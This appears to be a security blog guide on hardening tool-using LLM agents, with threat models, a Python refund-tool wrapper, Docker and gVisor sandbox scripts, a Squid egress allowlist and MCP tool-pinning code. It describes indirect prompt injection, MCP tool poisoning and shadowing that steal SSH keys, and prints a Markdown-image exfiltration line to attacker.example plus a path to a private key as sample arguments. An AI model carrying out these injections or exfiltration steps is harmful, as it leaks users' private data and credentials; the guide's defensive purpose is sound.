Skip to main content
Back to Blog
AI SecurityLLM AgentsMCP

Securing LLM Agents and Tool Use: Least Privilege, Sandboxing and Human Approval

How to build LLM agents that call tools, APIs, shells and browsers without handing an attacker the keys: a threat model built on indirect prompt injection and excessive agency, least-privilege tool design, sandboxed code execution, meaningful human approval, exfiltration controls, MCP server trust, and audit logging.
By Security Research & Development29 min read

A build guide for engineering teams whose agents act on a user's behalf: where the trust boundaries are, and the controls that hold when the model is talked into the wrong action.

A chatbot that only answers questions can embarrass you. An agent that can send email, run code, query a database or click through a browser can do damage. In the 2026 edition of the OWASP Top 10 for LLM Applications, Excessive Agency climbed from sixth to third, and OWASP says the move reflects the fact that both practitioner votes and incident data point to agentic deployments "where the damage is landing." Prompt injection held the top spot.

No one can yet make a model reliably ignore instructions hidden in the content it reads. Vendor classifiers and training reduce the rate, and vendors present them as a layer, not a guarantee. So the design goal is not "the model will refuse." It is "when the model is fooled, the tools, credentials, sandbox and approval flow around it keep the result small, visible and reversible." This guide covers how to build that, with code and configuration you can adapt.

Table of Contents

1. The Threat Model

1.1 What Changes When a Model Can Act

An LLM application without tools has one output channel, text shown to the user. Give the same model tools and three things change:

  • The model chooses actions. It decides which tool to call and with what arguments, based on everything in its context window, including content your users did not write.
  • Actions carry the agent's privileges. A tool call runs with whatever credentials the tool holds, which are often broader than those of the user who asked.
  • Outputs feed back as inputs. Tool results go back into the context, so a web page, email or file the agent reads can steer the next call.

The model is now a component that turns untrusted input into commands. The usual patterns for such components (least privilege, validation at the point of use, isolation, authorization, audit) apply, provided they run outside the model.

1.2 Indirect Prompt Injection and the Confused Deputy

Direct prompt injection is the user typing "ignore your instructions," which for an agent acting on that user's behalf is mostly bounded by what the user may already do. The harder problem is indirect prompt injection. NIST's Generative AI Profile (NIST AI 600-1) describes it as adversaries exploiting LLM-integrated applications "by injecting prompts into data likely to be retrieved," without any direct interface to the system. The attacker writes a web page, ticket, calendar invite, PDF or GitHub issue, and waits for an agent to read it.

When that works, the agent becomes a confused deputy: a program with legitimate authority tricked into using it for someone else. The user asks for an inbox summary; one message asks the agent to forward recent password-reset emails to an outside address; the agent holds the mailbox token and can send mail, so it does.

OWASP's 2026 Prompt Injection entry lists the forms this takes, from instructions hidden in images, audio and invisible Unicode to text planted in a low-privilege channel that a higher-privilege agent later reads. One of its scenarios cites published research that exfiltrated private repositories through a poisoned public GitHub issue read by a developer's agent.

1.3 Excessive Agency

OWASP's Excessive Agency entry (LLM03:2026) is about the harm an agent can do once its output goes wrong, whatever the cause: injection, hallucination, or a compromised tool or peer agent upstream. Its three root causes make a useful review checklist:

Root causeWhat it looks likeTypical fix
Excessive functionalityA read-only summarizer is wired to a mail plugin that can also send and deleteExpose only the functions the use case needs
Excessive permissionsA tool reads one user's documents with a service account that can read everyone'sExecute in the user's security context, with minimal scopes
Excessive autonomyDeletions, payments or posts happen without anyone confirmingRequire approval for high-impact actions

The same entry says sanitizing inputs and outputs is not a root control for excessive agency: filtering does not replace removing the capability. OWASP maps it to three entries in its separate Top 10 for Agentic Applications: ASI02 Tool Misuse & Exploitation, ASI03 Identity & Privilege Abuse and ASI08 Cascading Failures.

1.4 The Lethal Trifecta and the Rule of Two

Simon Willison's lethal trifecta says data theft becomes possible when one agent combines access to private data, exposure to untrusted content, and a way to communicate externally. Remove any one leg and the simple exfiltration attack stops working.

Meta's Agents Rule of Two (October 2025) turns this into a budget. Within one session, an agent gets at most two of three properties: it reads input an attacker could have written, it can reach sensitive systems or private data, or it can change state or talk to the outside world. A task that needs all three needs supervision, such as a person approving actions.

Google's paper on secure agents argues along similar lines: each agent should have identified people responsible for it, deliberately narrow capabilities, and plans and actions that overseers can inspect. None of these is a complete security model, but each turns a vague worry into a design question: which leg can we remove, and if we cannot, where does the human sit?

1.5 Mapping the Trust Boundaries

Before writing any tool, list every input and output of the model and how far each is trusted.

ComponentTrust levelReason
Your system prompt and tool definitions you wroteTrustedYou control them; keep them in version control
The authenticated user's requestTrusted for that user's own authorityThey can only ask for what they could do themselves
Retrieved documents, web pages, emails, tickets, filesUntrustedAnyone who can write to the source can write instructions
Tool results, including from your own APIsUntrusted as instructionsThey often embed third-party text
Third-party tool servers and their descriptionsUntrusted unless reviewed and pinnedDescriptions go straight into the model's context
Model output: text, tool names, argumentsUntrustedIt is a function of all the untrusted inputs above

Handle every argument the model produces the way you handle a form field from the internet.

2. Least-Privilege Tool Design

2.1 Narrow Tools Over Generic Shell and HTTP

The most effective control is the tool you do not ship. OWASP's mitigations start with "minimize tools" and "avoid open-ended tools": a tool that runs a shell command or fetches any URL gives the model, and anyone steering it, the full power of a shell or an HTTP client.

Compare two ways to let an agent look up an order:

Generic toolNarrow tool
http_request(method, url, headers, body)get_order(order_id)
run_sql(query)list_recent_orders(limit)
bash(command)run_tests(test_path)

The narrow version fixes the host, method, credential and query in code. The model supplies only the values that legitimately vary, which can be validated tightly, and the tool is easier to review, rate-limit and log.

When a generic capability is the product, as with a coding agent, move the risk into isolation (section 4) and keep credentials out of the environment. And split read from write: search_tickets and close_ticket can carry different permissions, rate limits and approval rules; a single tickets(action, ...) tool cannot.

2.2 Authorization Lives in the Tool, Not the Prompt

A system prompt that says "only show users their own orders" is a request, not a control; the model can be persuaded to ignore it and cannot reliably know who the user is. OWASP's 2026 entry calls the fix complete mediation: code decides whether each action is allowed, whether that code lives in the tool, in a policy check in front of the downstream system, or in that system itself. The model never decides.

In practice:

  • Identity comes from the session, never from the model. If a tool takes user_id as a model-supplied argument, an injection can change it.
  • Check ownership on every object. If the model passes order_id, confirm the order belongs to the caller. The MCP specification says the same of state handles: possessing one proves nothing.
  • Return the same error for "not found" and "not yours," so the agent is not an oracle for which IDs exist.
  • Carry the user's context through chains. When one agent or service calls another, keep the original user's identity and scope, as OWASP's 2026 entry asks for delegated and multi-agent workflows.

Retrieval over shared document stores has the same problem in another shape (filter by the user's permissions before content reaches the model), which is a topic of its own.

2.3 Scoped, Short-Lived, Per-User Credentials

Every credential a tool holds is a credential an attacker can use through the agent. Size them accordingly:

  • Per user, not per agent. Prefer delegated credentials, such as an OAuth token for the specific user, so downstream systems enforce that user's permissions. A shared service account across tenants turns every injection into a cross-tenant breach.
  • Minimal scopes. A mail summarizer needs a read-only mail scope; a read-only database tool needs SELECT on its tables and nothing else, enforced by database permissions, not instructions.
  • Short lifetimes. Mint tokens per task or session and let them expire in minutes, using your cloud's workload identity and role assumption rather than long-lived keys.
  • Step up for privileged operations. The MCP security guidance recommends starting with minimal scopes and requesting more only when a privileged operation is first attempted.
  • Keep secrets out of the context window. Inject credentials inside the tool, after the model has produced its arguments. Anything in the context can end up in an output.

2.4 A Tool Wrapper That Validates and Authorizes

The following Python example puts these rules into one tool. It uses Pydantic v2 for validation and SQLite for storage (tested with Pydantic 2.13 on Python 3.14); the same pattern carries over to PostgreSQL.

import hashlib
import json
import secrets
import sqlite3
import time
from dataclasses import dataclass
from typing import Literal

from pydantic import BaseModel, ConfigDict, Field, ValidationError

AUTO_APPROVE_LIMIT_CENTS = 2_500
APPROVAL_TTL_SECONDS = 600


class RefundArgs(BaseModel):
    # Reject unknown fields and type coercion ("25" is not 25).
    model_config = ConfigDict(extra="forbid", strict=True)

    order_id: str = Field(pattern=r"^ord_[A-Za-z0-9]{12}$")
    amount_cents: int = Field(gt=0, le=50_000)
    reason: Literal["damaged", "late", "not_received"]


@dataclass(frozen=True)
class CallContext:
    # Built by your server from the authenticated session, never from model output.
    user_id: str
    tenant_id: str
    roles: frozenset[str] = frozenset()


class ToolError(Exception):
    """Goes back to the model as a tool error. Keep the message free of secrets."""


class ApprovalRequired(Exception):
    def __init__(self, approval_id: str, summary: str):
        super().__init__(summary)
        self.approval_id = approval_id


def action_digest(ctx: CallContext, tool: str, args: BaseModel) -> str:
    canonical = json.dumps(
        {"tool": tool, "tenant": ctx.tenant_id, "user": ctx.user_id, "args": args.model_dump()},
        sort_keys=True, separators=(",", ":"),
    )
    return hashlib.sha256(canonical.encode()).hexdigest()


def approve(db: sqlite3.Connection, approval_id: str, approver: CallContext) -> None:
    """Called only by the approval UI, with the approver's own authenticated session."""
    if "refund_approver" not in approver.roles:
        raise PermissionError("not allowed to approve refunds")
    with db:  # one transaction; the WHERE clause does every check atomically
        cur = db.execute(
            "UPDATE approvals SET approved_by = ? WHERE approval_id = ? AND tenant_id = ?"
            " AND requested_by != ? AND approved_by IS NULL AND consumed_at IS NULL"
            " AND expires_at > ?",
            (approver.user_id, approval_id, approver.tenant_id, approver.user_id, time.time()),
        )
    if cur.rowcount != 1:
        raise PermissionError("approval not found, expired, already decided, or self-approval")


def issue_refund(db: sqlite3.Connection, ctx: CallContext, raw_args: dict,
                 approval_id: str | None = None) -> dict:
    try:
        args = RefundArgs.model_validate(raw_args)
    except ValidationError as exc:
        raise ToolError(f"invalid arguments ({exc.error_count()} errors)") from None

    needs_approval = args.amount_cents > AUTO_APPROVE_LIMIT_CENTS
    used = 0
    digest = action_digest(ctx, "issue_refund", args)
    now = time.time()
    with db:  # consuming the approval and moving money commit or roll back together
        if needs_approval:
            used = db.execute(
                "UPDATE approvals SET consumed_at = ? WHERE approval_id = ? AND digest = ?"
                " AND approved_by IS NOT NULL AND consumed_at IS NULL AND expires_at > ?",
                (now, approval_id, digest, now),
            ).rowcount
        if not needs_approval or used == 1:
            # Ownership and balance are part of the same conditional write.
            moved = db.execute(
                "UPDATE orders SET refundable_cents = refundable_cents - ?"
                " WHERE order_id = ? AND tenant_id = ? AND customer_id = ?"
                " AND refundable_cents >= ?",
                (args.amount_cents, args.order_id, ctx.tenant_id, ctx.user_id, args.amount_cents),
            ).rowcount
            if moved != 1:
                # Rolls back the approval consumption too. Same answer for
                # missing, not-yours and insufficient balance.
                raise ToolError("order not found or amount exceeds refundable balance")
            return {"status": "refunded", "order_id": args.order_id,
                    "amount_cents": args.amount_cents}

    new_id = secrets.token_urlsafe(16)
    summary = f"Refund ${args.amount_cents / 100:,.2f} on {args.order_id} ({args.reason})"
    with db:
        db.execute(
            "INSERT INTO approvals (approval_id, digest, tenant_id, requested_by, summary,"
            " expires_at) VALUES (?, ?, ?, ?, ?, ?)",
            (new_id, digest, ctx.tenant_id, ctx.user_id, summary, now + APPROVAL_TTL_SECONDS),
        )
    raise ApprovalRequired(new_id, summary)

The two tables it expects:

CREATE TABLE orders (order_id TEXT PRIMARY KEY, tenant_id TEXT NOT NULL,
  customer_id TEXT NOT NULL, refundable_cents INTEGER NOT NULL);
CREATE TABLE approvals (approval_id TEXT PRIMARY KEY, digest TEXT NOT NULL,
  tenant_id TEXT NOT NULL, requested_by TEXT NOT NULL, summary TEXT NOT NULL,
  approved_by TEXT, expires_at REAL NOT NULL, consumed_at REAL);

What each part does:

  • extra="forbid" rejects arguments the schema does not define, so an injected notify_email field fails. strict=True stops "500" being coerced into 500. The ID pattern and amount bounds cap any single call.
  • Ownership is enforced against CallContext, which the model cannot supply or change.
  • Refunds above the threshold need an approval bound to a digest of the tool, tenant, user and arguments. It expires after ten minutes and works once.
  • approve() refuses if the approver lacks the approver role, belongs to another tenant, is the requester, or if the approval is missing, expired or already decided.
  • Consuming the approval and decrementing the balance happen in one transaction, and each is a conditional UPDATE whose WHERE clause carries every check, followed by a row-count test. A read-then-write version lets two concurrent calls spend one approval or overdraw the balance.

The agent loop returns ToolError to the model so it can correct a bad argument, and routes ApprovalRequired to an approval UI, pausing the run.

3. Treating Model Output as Untrusted Input

3.1 Schemas Constrain Shape, Not Intent

Every major model API can now constrain tool arguments to a JSON Schema. On Anthropic's API, setting strict: true on a tool definition uses grammar-constrained sampling so the input always matches the tool's input_schema, and OpenAI's function calling has a comparable strict mode. Use them: they eliminate a class of malformed calls.

They do not make arguments safe. {"path": "../../home/app/.ssh/id_rsa"} is a valid string and {"to": "[email protected]"} a valid email address. Constrained decoding guarantees the output parses, not that the value is one the user wanted. Keep server-side validation anyway: ownership, bounds and allowlists are not expressible in JSON Schema.

3.2 Validate Values Against What They Will Touch

Validate each argument against the sink it is headed for, the same way you would for any web input:

  • File paths. Reject absolute paths, resolve the rest, and confirm the result is inside the allowed root: in Python 3.9 or later, Path(root, user_path).resolve().is_relative_to(Path(root).resolve()). That check and the later open() are separate steps, so anything that can write to the root (including code the agent runs) can swap in a symlink between them. Close the gap at open time: on Linux 5.6 or later, openat2() with RESOLVE_BENEATH refuses any resolution that leaves the directory (there is no glibc wrapper, so call it through syscall or a library). O_NOFOLLOW alone protects only the last path component. Simplest of all, make the root read-only to anything the agent can execute.
  • URLs. Parse them, require https, check the host against an allowlist, and check the resolved IP address against private, loopback and link-local ranges (including 169.254.169.254, the cloud metadata address). The MCP security guidance gives this advice for the OAuth metadata URLs a client fetches; it applies just as well to any URL a model supplies. It warns against hand-rolled IP parsing, which encoding tricks such as octal and IPv4-mapped IPv6 defeat, and suggests an egress proxy.
  • SQL. Never run model-written SQL with real privileges. Use a parameterized query builder over a read-only view, or a role that can read only the tables the use case needs.
  • Shell. Call programs with an argument list (subprocess.run([...], shell=False)), never by interpolating model output into a shell string, and allowlist each argument.
  • Anything rendered. Encode model output for the page, terminal or email it lands in. OWASP's Improper Output Handling entry (LLM10:2026) also calls for stripping ANSI escape sequences and other control characters before output reaches terminals and logs.

3.3 Structured Outputs Between Steps

In multi-step agents, one step's output is the next step's input, so free text passed forward from a step that read untrusted content carries any injected instructions with it. OpenAI's agent safety guidance suggests passing typed values between steps (enums and fixed fields), leaving no free-text slot for an instruction to travel in.

The stronger form separates planning from reading: a planner sees only the trusted request and fixes the plan, and untrusted content goes to a step that can only return typed values. Google DeepMind's CaMeL research ("Defeating Prompt Injections by Design," 2025) formalizes this, deriving the program's control flow from the trusted query alone and tagging values with capabilities that policies check before data reaches a tool. You do not need the full system to borrow the principle: a summarization step that returns {"category": "billing", "priority": "low"} cannot tell the next step to forward the inbox.

Anthropic's guidance adds cheap practices: deliver third-party content inside tool results, say where it came from, JSON-encode untrusted strings, and state in the system prompt that tool content is data. These lower the injection rate; they do not replace the controls here.

4. Sandboxing Code Execution

4.1 Choosing an Isolation Boundary

If your agent runs code, drives a real browser or installs packages, assume that code will eventually be hostile, and choose how strong a wall to put around it.

OptionIsolation boundaryStrengthsTrade-offs
Standard container (runc) with hardeningLinux namespaces, cgroups, seccomp; shares the host kernelFast, familiar, works everywhere Docker doesA kernel vulnerability can become a host escape
gVisor (runsc)User-space application kernel that services the sandbox's system calls itselfMuch smaller host-kernel attack surface; drop-in OCI runtimeSome compatibility gaps and per-syscall overhead
Firecracker microVMHardware virtualization via KVM, with a minimal device modelVM-grade isolation; built for multi-tenant serverless (AWS Lambda and Fargate)Needs KVM on the host and more orchestration work
Hosted sandbox serviceProvider-managed, usually microVM or gVisor basedNo infrastructure to runYou inherit the provider's network and data handling defaults; check them

A reasonable rule: hardened containers for code generated from trusted inputs on single-tenant hosts; gVisor or microVMs for code influenced by untrusted content, or on hosts shared between customers.

4.2 A Locked-Down Container With No Network

This script runs a Python job with no network, a read-only root filesystem, no Linux capabilities, an unprivileged user and resource limits, and kills it after 30 seconds. Tested on Docker 29.10 with the python:3.13-slim image, including against a job that ignores SIGTERM.

#!/usr/bin/env bash
set -euo pipefail
cid=$(docker run -d \
  --network none \
  --read-only \
  --tmpfs /tmp:rw,noexec,nosuid,size=64m \
  --cap-drop ALL \
  --security-opt no-new-privileges \
  --pids-limit 128 \
  --memory 512m --memory-swap 512m \
  --cpus 1 \
  --user 65534:65534 \
  --mount type=bind,src="$PWD/job",dst=/work,readonly \
  --workdir /work \
  python:3.13-slim \
  python3 /work/main.py)

# The deadline is enforced from the host: the code inside cannot ignore it.
if ! status=$(timeout 30 docker wait "$cid"); then
  docker kill "$cid" >/dev/null
  status="killed after 30s"
fi
docker logs --tail 200 "$cid"
docker rm -f "$cid" >/dev/null
echo "exit status: $status"
FlagPurpose
--network noneNo network interface except loopback; nothing to exfiltrate over
--read-only and --tmpfs /tmpImmutable root filesystem; a small, non-executable scratch area
--cap-drop ALLRemoves every Linux capability, including the defaults Docker grants
--security-opt no-new-privilegessetuid binaries cannot raise privileges
--pids-limit, --memory, --memory-swap, --cpusBounds fork bombs, memory exhaustion and CPU burn; equal memory and swap values disable swap
--user 65534:65534Runs as nobody rather than root inside the container
Read-only bind mountThe job's input files, and nothing else from the host
timeout 30 docker wait, then docker killWall-clock deadline enforced from the host, with SIGKILL

The deadline lives outside the container on purpose. Running timeout 30 inside it sends only SIGTERM, and a job that ignores the signal keeps running; timeout -k 5 30 adds a follow-up SIGKILL, but the host-side kill does not depend on anything in the sandbox. Deliberately absent: --privileged, the Docker socket, host networking, credentials in environment variables, and any writable mount of your source tree. Treat the job's output as untrusted.

4.3 Running the Same Container Under gVisor

gVisor ships as an OCI runtime called runsc. Install it following the project's instructions (an apt repository is provided for Debian and Ubuntu, and it requires Linux 5.6 or later on x86_64 or ARM64), then register it with Docker:

sudo runsc install
sudo systemctl restart docker

After that, add one flag to the command in section 4.2:

docker run --rm --runtime=runsc --network none ...

The hardening flags still apply. In Kubernetes, the equivalent is a RuntimeClass with handler runsc, referenced from the pod spec with runtimeClassName. Test compatibility in staging, since gVisor implements the system call interface itself. For Firecracker, the project recommends launching each microVM through its jailer, which adds cgroup and namespace isolation and drops privileges.

4.4 Egress Allowlists When the Sandbox Needs the Network

Some jobs need the network, typically to install packages. Do not give them a default bridge. Put the sandbox on a Docker network marked internal, which has no route out, and attach a forward proxy to both that network and a normal one. The proxy enforces a host allowlist. This Compose file and Squid configuration were tested on Docker 29.10 with the ubuntu/squid:7.2-26.04 image.

# compose.yaml
services:
  egress-proxy:
    image: ubuntu/squid:7.2-26.04
    volumes:
      - ./squid.conf:/etc/squid/squid.conf:ro
    networks: [sandbox, outside]

  sandbox:
    image: python:3.13-slim
    command: ["sleep", "infinity"]
    read_only: true
    tmpfs:
      - /tmp:size=256m,mode=1777,exec   # Compose tmpfs is noexec by default
    cap_drop: [ALL]
    security_opt: ["no-new-privileges:true"]
    user: "65534:65534"
    pids_limit: 128
    mem_limit: 512m
    memswap_limit: 512m
    cpus: 1.0
    environment:
      HOME: /tmp
      PIP_NO_CACHE_DIR: "1"
      https_proxy: http://egress-proxy:3128
      HTTPS_PROXY: http://egress-proxy:3128
    networks: [sandbox]

networks:
  sandbox:
    internal: true
  outside: {}
# squid.conf
http_port 3128

acl SSL_ports port 443
# -n: match names only. Without it, a CONNECT to a bare IP triggers a reverse
# lookup, and a PTR record the attacker controls can claim to be pypi.org.
acl allowed_hosts dstdomain -n pypi.org files.pythonhosted.org
# Destinations that must never be reached, whatever name resolves to them.
acl blocked_dst dst 0.0.0.0/8 10.0.0.0/8 100.64.0.0/10 127.0.0.0/8 169.254.0.0/16 172.16.0.0/12 192.168.0.0/16 ::1 fc00::/7 fe80::/10

http_access deny !SSL_ports
http_access deny !allowed_hosts
http_access deny blocked_dst
http_access allow allowed_hosts
http_access deny all

cache deny all

Inside the sandbox, pip install --target /tmp/pkgs <package> works, and the read-only root, the nobody user and the limits still apply. The exec option matters: Compose mounts tmpfs noexec by default, and packages with compiled extensions then fail to import.

How the rules behave in testing:

  • Allowlisted names pass; CONNECT pypi.org:443 is tunneled.
  • Everything else gets a 403, including a bare IP address. That is what -n is for. Squid's documentation says that for an IP-based URL with no dstdomain match, Squid tries a reverse lookup, and whoever controls an IP range controls its PTR records. With -n removed and one.one.one.one allowlisted, CONNECT 1.1.1.1:443 passed, because that is 1.1.1.1's PTR name. With -n, it was refused.
  • Allowlisted names that resolve to internal addresses are refused. A dst ACL matches the destination's resolved addresses, so Squid must resolve the name to evaluate it; placing it after the name check means only allowlisted names are looked up. A test name resolving to 169.254.169.254 was refused.
  • Bypassing the proxy fails. There is no route out, and no external DNS: since Docker Engine 25.0.5 and 26.0.0 (the fix for CVE-2024-29018), Docker no longer forwards DNS queries from internal networks to the host's resolver, which had been an exfiltration channel.

Three cautions:

  • Docker's documentation notes that containers on an internal network can still reach the gateway IP address, and therefore host services listening on it. Do not run unauthenticated host services on all interfaces.
  • Without TLS inspection, the proxy sees only the host name in CONNECT, so an allowlisted host is allowlisted in full.
  • Choose allowlisted hosts by whether they accept writes. A package index is read-mostly. A code host, paste site or cloud storage endpoint is an exfiltration channel once the sandbox holds any credential for it, or if it accepts anonymous writes.

Squid is one option. Stripe's Smokescreen, which the MCP security guidance points to, refuses private and internal addresses by default after resolving each name, so you do not have to maintain the ranges yourself. In clusters, Kubernetes network policies or a mesh egress gateway do the same job.

4.5 Filesystem, Resource and Lifetime Limits

  • One sandbox per task, created fresh and destroyed afterward, so one user's injected code cannot persist into another user's session.
  • No secrets in the sandbox. Give it a narrow endpoint that holds the credential instead.
  • Bound everything: CPU, memory, processes, disk, wall-clock time and output size. An agent in a retry loop is a denial of service you pay for.

5. Human Approval That Means Something

5.1 Deciding What Needs Approval

Approval is the control for actions you cannot make safe any other way. OWASP's 2026 entry suggests graduated enforcement: reversible, low-stakes actions proceed automatically, and irreversible ones wait for a person. In its example, store credit is automatic because it can be reversed; an external payout is not.

A practical classification:

Action classExamplesDefault handling
Read, within the user's own dataSearch tickets, read an orderAutomatic, logged
Reversible writeDraft an email, create a branch, add a labelAutomatic, logged, easy undo
Irreversible or externalSend email, post publicly, merge, deploy, pay, deleteHuman approval
Privilege or configuration changeGrant access, rotate keys, change billingApproval by someone other than the requester, or not an agent action at all

The MCP specification says there should always be a human able to deny tool invocations, and OpenAI's agent safety guidance recommends keeping approvals on for MCP tools.

5.2 Bind the Approval to the Exact Action

An approval prompt is only as good as what it binds. Common weaknesses, and the fix for each:

  • The human approves the model's description, not the action. An injection can write a reassuring description for a malicious call. Render the dialog from the validated arguments: recipients, amount, target branch, full command.
  • The approval covers a different call than the one that runs. Hash the tool name, tenant, caller and validated arguments, store the hash with the approval, and execute only if the call produces the same hash. The wrapper in section 2.4 does this.
  • Approvals linger. Expire them in minutes and make them single-use, so an approval cannot be replayed later or applied to a second call.
  • The wrong person approves. The approval endpoint must require a human's own authenticated session, check that they may approve this action for this tenant, and, where the policy calls for it, refuse the requester. No tool may call it, and if approvals arrive over chat, the agent must not be able to post the approving message.
  • Hidden details. A truncated command line or a collapsed recipient list is where the problem hides. For one-click configuration of a local MCP server, the MCP security guidance requires the client to show the exact command without truncation for this reason.

5.3 Avoiding Approval Fatigue

If every action needs a click, users stop reading. Make prompts fewer and better:

  • Automate the reversible tier, so approvals are rare enough to be read.
  • Show the diff or preview the action will produce.
  • Highlight what is unusual: a recipient outside the organization, an amount above the user's normal range, a domain never seen before.
  • Track approval rates. An approval granted every time within two seconds is not a control; automate it with tighter bounds or redesign it.

6. Closing Data Exfiltration Channels

An agent that has read something sensitive and something malicious needs only one outbound channel to leak.

The classic channel is the chat interface itself. Injected text tells the model to include an image such as ![](https://attacker.example/p.png?d=<conversation data>). The client renders the Markdown, the browser fetches the image, and the attacker's server logs the data in the query string. No click is needed. OWASP's 2026 Improper Output Handling entry makes the fix a client-side control: model output should never make the client fetch anything on its own, and where images must render, they should come only from approved origins or through your own server.

Do both of these in a web client:

Content-Security-Policy: default-src 'self'; img-src 'self' https://images.example.com; connect-src 'self'; frame-src 'none'

The img-src and connect-src directives stop the browser from contacting origins you did not list, even if model output gets an image tag into the page. Combine that with renderer configuration: for example, in markdown-it 15 (and the 14.x legacy line), new MarkdownIt({ html: false }).disable(["image"]) stops image rendering and raw HTML. Note that with images disabled, ![x](url) renders as an ordinary link, which still leaks on click, so also rewrite or flag links to hosts outside your allowlist.

The same applies to Slack and Teams unfurls, email clients that load remote images, and IDE panels.

6.2 Outbound Requests From Tools

Any tool that fetches a URL is an exfiltration tool, because the URL itself carries data. A "browse" or "fetch" tool should:

  • go through an egress proxy that refuses private, loopback, link-local and metadata addresses after resolving the name, such as the blocked_dst rule in section 4.4 or Smokescreen's defaults;
  • apply a host allowlist where the use case permits;
  • handle redirects itself: turn off automatic following and validate each hop. A CONNECT proxy only sees the host of each new connection, so this belongs in the tool;
  • log every URL requested.

An agent that reads private data and browses the open web has the lethal trifecta: separate those sessions, or put a human in front of outbound requests that carry private data.

6.3 Channels Hidden in Allowed Actions

Closing the obvious channels leaves the ones built into legitimate tools:

  • Messaging tools. Email, comments, calendar invites and pull requests can all carry data to an attacker-chosen recipient. Restrict recipients, and require approval for external ones.
  • Tool arguments. Invariant Labs' tool-poisoning demonstration hid stolen SSH keys in a sidenote argument of an "add numbers" tool on a malicious server.
  • Invisible text. OWASP's 2026 Prompt Injection entry lists invisible Unicode (tag characters, variation selectors, zero-width characters) as a way to smuggle instructions and data. Strip or visibly encode them in outputs that leave your system.

7. MCP and Third-Party Tool Servers

The Model Context Protocol (MCP) standardizes how applications expose tools to models. It makes connecting a tool trivial, which is why each connection deserves a review. The current specification revision is 2026-07-28.

7.1 What the Specification Says About Trust

The specification is direct about where responsibility sits: "MCP itself cannot enforce these security principles at the protocol level." The points that matter most for agent builders:

  • Tools amount to arbitrary code execution and need to be handled with corresponding care.
  • Clients must treat tool annotations as untrusted unless the server is trusted. A tool that declares readOnlyHint: true may not be read-only.
  • Hosts must obtain explicit user consent before invoking a tool, and should show tool inputs before calling the server.
  • Servers must validate all tool inputs, implement access controls, rate-limit invocations and sanitize outputs.
  • Servers must reject tokens that were not issued for them, and passing a client's token through to a downstream API (token passthrough) is explicitly forbidden.

Treat a third-party MCP server like any dependency that runs code with your users' data: review, pin, isolate and watch it.

7.2 Tool Poisoning, Shadowing and Rug Pulls

Tool descriptions go straight into the model's context, and users rarely see them. Invariant Labs documented three attacks in April 2025:

  • Tool poisoning. A tool's description contains hidden instructions, visible to the model but not to the user. Their example was an add tool whose description told the model to read local configuration files and an SSH private key and pass them in an extra parameter, and not to mention it.
  • Shadowing. A malicious server's tool description changes how the agent uses a different, trusted server's tool. In their demonstration, it made the agent send every email to the attacker instead of the intended recipient. The malicious tool never has to be called.
  • Rug pulls. A server presents clean descriptions at review time and changes them after approval.

The 2026-07-28 specification lets servers change their tool list and notify subscribed clients with notifications/tools/list_changed, the same mechanism a rug pull uses, so re-check definitions on every fetch, not just at install.

OWASP's 2026 Prompt Injection entry treats MCP servers and tool packages as supply chain: pin and verify them, audit their descriptions, and remember that a pin freezes whatever you reviewed, malicious or not.

7.3 Pinning Tool Definitions

Pin at two levels. First, pin the server code: an exact package version or a container image digest, never latest and never an unpinned npx invocation. Second, pin what the server tells the model, because a remote server can change its descriptions without changing any version you control. This client-side check fingerprints each tool definition from a tools/list result and compares it to a lockfile you update only after a human review. Key the lockfile by the server identity in your own configuration, not by the serverInfo.name a server reports about itself, which the specification says is not unique and should not be used to tell servers apart:

import hashlib
import json
from pathlib import Path

# The fields a model reads, or that change what a call does.
PINNED_FIELDS = ("name", "title", "description", "inputSchema", "outputSchema", "annotations")


def fingerprint(tool: dict) -> str:
    subset = {k: tool.get(k) for k in PINNED_FIELDS}
    canonical = json.dumps(subset, sort_keys=True, separators=(",", ":"), ensure_ascii=False)
    return hashlib.sha256(canonical.encode()).hexdigest()


def check_tools(server: str, tools: list[dict], lockfile: Path) -> list[dict]:
    """Return only tools whose definitions match the reviewed lockfile."""
    pinned = json.loads(lockfile.read_text()).get(server, {})
    allowed, problems = [], []
    for tool in tools:
        expected = pinned.get(tool["name"])
        if expected is None:
            problems.append(f"{server}/{tool['name']}: not reviewed")
        elif expected != fingerprint(tool):
            problems.append(f"{server}/{tool['name']}: definition changed since review")
        else:
            allowed.append(tool)
    if problems:
        # Fail closed: alert, and expose nothing new until a human re-reviews.
        print("MCP tool drift:", *problems, sep="\n  ")
    return allowed

Call check_tools on every tools/list response before definitions reach the model, and send drift to your alerting. During review, read every description and schema, looking for instructions addressed to the model, references to other tools, and parameters with no business being there.

When aggregating tools from several servers, prefix tool names with that same configured identifier, as the specification suggests for collisions, and reject descriptions that refer to another server's tools.

Pinning is one part of the wider AI supply chain problem (model weights, packages, datasets). For agents the rule is simple: nothing reaches the model's tool list without a review you can point to.

7.4 Local Servers and Token Handling

Local MCP servers run with the privileges of the user who launched them. The security guidance says clients should sandbox them with minimal default privileges and restricted file system and network access, and that local servers should prefer the stdio transport, or require a token or a restricted Unix socket for HTTP, so other processes and web pages cannot reach them.

For remote servers, tokens are issued with the MCP server as their audience, the server validates that audience, and it uses its own scoped credentials downstream instead of forwarding the client's token.

8. Logging, Audit and Budgets

8.1 What to Record for Every Tool Call

An investigation needs to know who asked, what the agent read, what it decided and what it did. Log tool calls as structured events, separate from application logs.

{
  "ts": "2026-11-29T15:04:05Z",
  "event": "tool_call",
  "request_id": "req_7f3a",
  "session_id": "ses_91c2",
  "user_id": "u_alice",
  "tenant_id": "t_1",
  "agent": "[email protected]",
  "model": "provider/model-id",
  "tool": "issue_refund",
  "tool_server": "internal",
  "tool_def_sha256": "9b1e...",
  "args": {"order_id": "ord_A1b2C3d4E5f6", "amount_cents": 5000, "reason": "damaged"},
  "decision": "approval_required",
  "approval_id": "kX2...",
  "approved_by": null,
  "context_sources": ["email:msg_55e1", "kb:article_210"],
  "duration_ms": 41,
  "result": "pending"
}

The fields that make this useful in an investigation:

  • The authenticated user and tenant, from your session, not from the model.
  • The decision your code made: allowed, denied and why, sent for approval, approved by whom.
  • The tool definition fingerprint, proving which description the model saw.
  • Context sources: the untrusted documents in context at the time, which is how you trace an injected action back to its email or page.
  • Arguments, with secrets and personal data redacted.

Alert on bursts of authorization denials, repeated validation failures, rejected approvals and requests to new external domains.

8.2 Rate, Spend and Step Limits

Rate limits cap the damage of a successful attack, and Unbounded Consumption (LLM06:2026) rose four places in OWASP's 2026 list. Set limits at several levels:

  • Per tool: calls per minute per user, plus cumulative limits on the values that matter (refund total per day, emails per hour), which OWASP suggests alongside simple invocation counts.
  • Per run: maximum steps, tool calls, wall-clock time and tokens for one task. A run that hits a limit stops and reports.
